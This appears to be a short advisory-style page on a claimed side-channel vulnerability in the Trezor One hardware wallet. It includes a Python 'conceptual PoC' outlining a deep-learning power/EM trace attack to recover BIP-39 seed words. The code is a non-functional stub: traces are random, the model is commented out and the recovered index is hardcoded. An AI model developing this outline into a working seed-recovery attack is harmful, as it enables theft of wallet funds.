CVE-2025-69893 Trezor硬件钱包侧信道漏洞

import numpy as np from sklearn.neural_network import MLPClassifier # Conceptual PoC for Side-Channel Analysis # Note: Real exploitation requires physical measurement hardware and trained models. class SideChannelAnalyzer: def __init__(self): # Load pre-trained DL model for BIP-39 word prediction # self.model.load('bip39_sca_model.pkl') pass def capture_trace(self, device): # Simulate capturing power consumption or EM trace print(f"[+] Capturing trace from {device}...") trace = np.random.rand(1000) # Simulated trace data return trace def analyze_trace(self, trace): # Use DL-SCA to predict word index # The non-constant time execution creates distinct patterns # prediction = self.model.predict([trace]) return 1024 # Simulated index def exploit(self, target_device): print(f"[*] Starting DL-SCA against {target_device}") trace = self.capture_trace(target_device) word_index = self.analyze_trace(trace) print(f"[+] Recovered potential word index: {word_index}") if __name__ == "__main__": analyzer = SideChannelAnalyzer() analyzer.exploit("Trezor One v1.13.0")